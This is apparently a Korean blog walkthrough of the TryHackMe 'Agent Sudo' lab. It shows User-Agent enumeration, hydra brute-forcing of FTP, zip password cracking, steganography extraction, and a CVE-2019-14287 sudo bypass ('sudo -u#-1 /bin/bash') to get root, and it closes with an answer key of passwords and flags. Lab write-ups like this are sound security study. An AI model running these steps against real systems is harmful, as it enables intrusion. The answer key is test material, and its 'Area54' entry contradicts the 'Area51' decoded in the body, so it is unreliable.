[TryHackMe] Agent Sudo

2023. 11. 1. 03:03War Game/TryHackMe

 

Agent Sudo : Target

 

 

Target Flag : User.txt, Root.txt

 

Agent Sudo : Exploit

 

 

nmap -sCV -Pn 10.10.245.17 > scan_res
cat scan_res

 

공격대상 시스템의 포트를 검색한 결과 21번, 22번, 80번 포트가 열려있는 것을 확인하였다. 80번 포트가 열려있으므로 웹 브라우저에 IP 주소를 입력해 보자.

 

 

 

curl -A 'R' -L http://10.10.245.17/

 

IP를 입력했더니 코멘트가 남겨져있다. Agent R이란 사람이 요원들에게 자기 자신의 codename을 사용하여 사이트에 접속하라 한다. 이때 user-agent는 HTTP 헤더 중 하나로서 응답 서버에 대한 클라이언트를 식별하기 위해 존재하는 헤더이다. 즉, user-agent 헤더 값에 따라 응답하는 웹 페이지가 다르다. 

 

user-agent 헤더 값을 변경하면서 서버로 데이터를 전송하기 위해 curl 명령어를 사용한다. 현재 알고 있는 요원의 codename은 코멘트에 적혀있는 "R"이 유일하다. user-agent 헤더값에 "R"을 입력하여 실행했더니 또 다른 코멘트가 출력되었다. 이번 코멘트에서 요원의 총 인원 수가 25명이라는 것을 알 수 있다. 여기서 요원의 총 인원 수가 25명이라는 것과 유일하게 알고 있는 codename이 "R"이라는 것을 통해 요원의 codename은 모두 대문자 알파벳이라는 것을 추측해 볼 수 있다.

 

curl -A 'A' -L http://10.10.245.17/
curl -A 'B' -L http://10.10.245.17/
curl -A 'C' -L http://10.10.245.17/

 

user-agent 헤더값에 대문자 알파벳을 순서대로 입력하여 curl 명령어를 실행했더니 codename이 "C"인 요원의 코멘트가 출력되었다. 해당 코멘트에서는 codename "C"의 이름이 "chris"라는 점과 비밀번호가 취약하다는 정보를 알 수 있었다.

 

 

hydra -l chris -P /usr/share/wordlists/rockyou.txt -f 10.10.245.17 ftp

 

chris 계정의 비밀번호가 취약하다는 점을 이용하여 ftp 연결을 통하여 브루트 포스 공격을 진행한다. 그 결과 ftp 사용자 계정이 chris인 사용자의 비밀번호는 crystal이라는 것을 알 수 있었다.

 

 

ftp 10.10.245.17
ls -al
get To_agentJ.txt
get cute-alien.jpg
get cutie.png

 

알아낸 계정 정보를 가지고 ftp에 연결하여 해당 디렉터리에 포함된 모든 파일을 공격자 시스템 디렉터리에 전송하였다.

 

 

ls
cat To_agentJ.txt

 

전송한 파일 중 To_agentJ.txt에는 새로운 코멘트가 적혀있었다. 해당 코멘트의 내용은 모든 외계인 사진은 전부 가짜이며 요원 R이 진짜 사진을 요원 J의 홈 디렉터리에 저장하였다고 한다. 또한 J의 로그인 비밀번호는 이 가짜 사진에 저장되어있다고 한다. 

 

 

binwalk -e cute-alien.jpg --run-as=root
binwalk -e cutie.png --run-as=root

 

사진 파일에 어떠한 내용이 저장되어 있다는 정보를 통해 알 수 있는 것은 스테가노그래피 기법과 png 파일에 zip 파일을 숨기는 기법 등을 추측해 볼 수 있다. 우선은 binwalk 명령어를 사용하여 전송한 나머지 파일들에 숨겨져 있는 파일을 추출해본다. .jpg 파일에는 아무것도 없었고 .png 파일에는 zip 파일이 있는 것으로 확인이 되었다.

 

 

ls
cd _cutie.png.extracted
ls -al

 

추출된 디렉터리로 들어가 보니 zip 파일과 To_agentR.txt 파일 외 두 파일이 존재하였다. To_agentR.txt 파일 내용은 폰트가 깨져서 확인을 할 수 없었다. 이는 8702.zip 파일을 압축해제해야 알 수 있을 것 같다.

 

 

zip2john 8702.zip > zip.hash
ls
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash

 

우선 zip 파일을 압축해제하려 했으나 비밀번호가 필요하였다. zip2john 명령어를 사용하여 john 도구를 사용할 수 있는 형식으로 만들어서 비밀번호를 브루트 포싱 한다. 그 결과 'alien'이라는 비밀번호를 확인할 수 있었다.

 

 

ls
unzip 8702.zip
7za x 8702.zip

 

unzip 명령어를 사용해서 압축을 해제하려 했으나 오류가 발생하여 7za 명령어를 사용하여 압축해제 해준다.

 

 

cat To_agentR.txt

 

압축해제하여 나온 파일인 To_agentR.txt의 내용을 출력해 본 결과 코멘트가 적혀 있었다. 해당 코멘트의 내용은 별 내용이 아니나 'QXJlYTUx'라는 문자열이 의심이 되어 base64로 디코딩해봤더니 'Area51'라는 문자열을 확인할 수 있었다.

 

 

cd ../
ls
steghide extract -sf cute-alien.jpg
ls -al
cat message.txt

 

획득한 문자열이 뭘까 생각을 했는데 아무래도 비밀번호로 쓰일 것이라는 생각이 들어서 이번에는 .jpg 파일을 분석해보았다. .jpg 파일은 스테가노그래피일 확률이 있으니 steghide 명령어를 사용해 봤더니 message.txt라는 파일이 추출되었다. 해당 파일의 내용을 출력해 본 결과 새로운 코멘트가 적혀 있었다. 해당 코멘트의 내용은 james라는 사용자의 로그인 비밀번호가 hackerrules!라는 것이다. 이를 통해 ssh로 접속을 해보자.

 

 

ssh james@10.10.76.71
id
ls -al
cat user_flag.txt

 

ssh로 성공적으로 접속하였고 홈 디렉터리로 이동하여 User.txt의 내용을 알 수 있었다. 또한 파일 리스트 중 Alien_autospy.jpg 파일의 출처를 알아보기 위해 해당 파일을 공격자 시스템의 디렉터리로 옮겨서 확인해 보자.

 

 

 

sudo scp james@10.10.73.227:Alien_autopsy.jpg ~/tryhackme/_sudo
ls
cp Alien_autopsy.jpg /home/kali

 

scp 명령어를 사용하여 파일을 전송하였고 해당 그림 파일의 출처를 확인해 본 결과 'Roswell alien autopsy'라는 사건이 출처라는 것을 알 수 있었다.

 

 

sudo -l

 

사용자 계정으로 쉘을 획득하였으니 권한 상승을 위하여 먼저 sudo 리스트를 확인하였다. '(ALL, !root) /bin/bash' 라는 권한을 부여받았는데 어떤 권한인지 감이 오지 않아 구글링을 하였다.

 

 

sudo --version

 

해당 권한이 부여되어 있으면 CVE-2019-14287라는 취약점을 사용할 수 있는 정보를 알 수 있었으며 해당 취약점은 sudo version이 1.8.28 이하의 version에서만 가능한 취약점이라 공격대상 시스템의 sudo version을 확인해 봤더니 적용 대상인 것을 알 수 있었다.

 

 

sudo -u#-1 /bin/bash
cd /root
ls -al
cat root.txt

 

Exploit 방법에 따라 ' sudo -u#-1 /bin/bash' 명령어를 실행하였더니 root 권한을 얻을 수 있었다. root 권한을 얻었으니 root 홈 디렉터리로 이동하여 root.txt의 내용을 출력하여 Root.flag를 얻을 수 있었다.

 

Answer the questions below
 

-How many open ports? > 3

-How you redirect yourself to a secret page? > user-agent

-What is the agent name? > chris

-FTP password > crystal

-Zip file password > alien

-steg password > Area54

-Who is the other agent (in full name)? > james

-SSH password > hackerrules!

-What is the user flag? > b03d975e8c92a7c04146cfa7a5a313c7

-What is the incident of the photo called? > Roswell alien autopsy
-CVE number for the escalation > CVE-2019-14287
-What is the root flag? > b53a02f55b57d4439e3341834d70c062

-(Bonus) Who is Agent R? > DesKel

 

'War Game > TryHackMe' 카테고리의 다른 글

[TryHackMe] Simple CTF  (0) 2023.10.31
[TryHackMe] Ignite  (1) 2023.10.25